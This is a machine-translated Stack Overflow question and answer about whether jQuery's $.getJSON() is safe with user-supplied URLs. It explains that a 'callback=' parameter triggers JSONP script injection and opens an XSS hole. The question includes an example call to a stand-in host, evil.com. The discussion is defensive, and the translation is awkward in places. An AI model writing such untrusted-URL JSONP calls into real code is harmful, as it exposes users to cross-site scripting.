getJSON()是否可以安全地调用不受信任的URL?

D.W*_*.W. 7 security xss jquery json getjson

$.getJSON()使用来自不受信任的来源(例如另一个用户)的URL参数调用jQuery是否安全?换句话说,$.getJSON()使用不受信任的URL 调用是否安全?我会小心不要相信响应并安全地处理响应,但是呼叫本身是否会带来安全风险?

换句话说,我说的是:

$.getJSON(url_from_user, function(...) { ... handle response safely ...});
Run Code Online (Sandbox Code Playgroud)

要么

$.getJSON('http://evil.com/foo.json', function(...) {...});
Run Code Online (Sandbox Code Playgroud)

如果某个不受信任的用户为url_from_user某个恶意控制该evil.com网站的恶意值提供恶意值,这是否允许代码注入或XSS ?同样,假设返回的任何JSON对象都将被安全地处理.


我做过的更多细节和研究

getJSON的文档没有说明这种情况是否安全.逻辑上,我希望这个场景是安全的,因为我希望jQuery的实现通过XHR下载JSON对象的文本,使用安全的JSON解析器解析此文本,然后返回JSON对象.

但是,在查看jQuery源代码之后,我对这是否安全存有疑问.浏览jQuery的源代码,看起来这种情况可能会允许XSS.getJSON()的代码有点复杂(参见src/ajax.js),但它似乎选择了"transport"然后用它来发送AJAX请求.我看到src/ajax/script.js注册了一个名为"script tag hack transport"的传输.此传输大致如下:它向文档添加脚本标记,例如<script src="http://evil.com/foo.json">,并注册在下载的脚本执行时运行的onload处理程序.换句话说,如果站点由攻击者控制,"脚本标记黑客传输"从根本上是不安全的:它将攻击者控制的脚本包含在文档中并执行它.除了脚本标记hack传输之外,还有一个使用浏览器的XMLHttpRequest()API的XHR传输.我很难遵循扭曲的逻辑,该逻辑确定将使用"脚本标记黑客"传输的条件.

那么,回到我原来的问题,$.getJSON()使用用户提供的URL 调用是否安全?如果在某些情况下它可能不安全,在什么条件下(例如浏览器版本)是安全/不安全的?

jfr*_*d00 7

除非您将请求配置为永远不要使用JSONP(在某些情况下jQuery将自动尝试用于某些跨源请求),否则$.getJSON()对任何随机外部URL 使用都是不安全的.

如果jQuery切换到JSONP,那将直接从另一个源启用脚本注入到页面中,因为JSONP正好通过脚本注入工作(为了绕过常规Ajax调用的同源限制).

为了防止这种类型的误用,你必须防止使用JSONP,并且必须在jQuery中调查最可靠的方法.您也许可以切换到$.ajax()可以指定更多选项来控制事物的位置.

如果这是我的代码,我可能会试图完全跳过这个Ajax调用的jQuery,并且只使用我自己的xmlHttpRequest对象来绝对保证它只进行纯Ajax调用(没有回退到任何其他传输,如JSONP).

更新:

我一直试图找到一种情况,$.getJSON()在jsFiddle的各种测试场景中会发出JSONP请求.我找不到一个.目标站点具有允许跨源请求的Access-Control-Allow-Origin标头,在这种情况下,jQuery只执行交叉源Ajax调用,或者它没有标头,jQuery只是失败了getJSON()调用.因此,看起来需要对特定版本的jQuery进行一些认真的研究,以确定当你没有明确要求时,它是否真的会被欺骗进行某种"自动"模式的JSONP调用.

更新2:发现一个实际的漏洞

我发现了一个漏洞.如果发送的URL $.getJSON()包含查询参数callback=,那么jQuery将执行JSONP,目标主机可以向响应注入它想要的任何脚本.

这是使用可公开访问的Flickr JSONP端点的演示:

http://jsfiddle.net/jfriend00/z6ah9eh2/

这并没有做出任何意外的事情,但它确实执行了通过目标站点的任意Javascript $.getJSON().因此,它肯定容易受到JSONP代码注入的攻击.

以下是jQuery文档的引用$.getJSON():

如果URL包含字符串"callback=?"(或类似的,由服务器端API定义),则该请求将被视为JSONP.

并且,"视为JSONP"意味着它将插入脚本标记并请求并从URL中的站点运行脚本 - 因此,如果您使用JSONP访问不受信任的站点,则会打开跨站点脚本漏洞.


JSON背后的一个想法是它可以使用纯文本解析器进行解析,该解析器严格遵守JSON规范并且除了纯JSON之外还可以通过.如果有人试图将一些Javascript代码隐藏到JSON字符串中,那么任何半正式的JSON解析器都会将JSON拒绝为无效并抛出异常.在一个适当的世界(即$.getJSON()),JSON不会被Javascript解析器解析,它使用它自己的文本解析器进行解析,该解析器严格只接受有效的JSON,而不是其他Javascript构造.

这是一个安全可靠的JSON解析器实现背后的想法,它被认为是$.getJSON()使用(在任何解析器中都可能存在未知的错误,但已经完成了将其设计为安全的工作).

所以,这个障碍已经过去了.没有任何技巧可以插入到一块JSON中,该JSON使用一个可以导致后门代码注入的合适的JSON解析器进行解析.


现在,另一个障碍取决于您对JSON本身的处理方式以及您对JSON的处理或使用是否会导致潜在的恶意行为.

例如,如果从JSON中提取字符串属性并将其作为对象上的方法执行而不进行任何检查以查看该字符串是否为预期值,那么您的代码可能会被欺骗以执行您执行的方法不打算.这仍然不会在您的页面中插入代码,但它会执行您不想要的内容.您可以在使用之前通过正确验证数据来避免这种情况.所以,如果你说,你安全地使用JSON,那么这应该不是问题.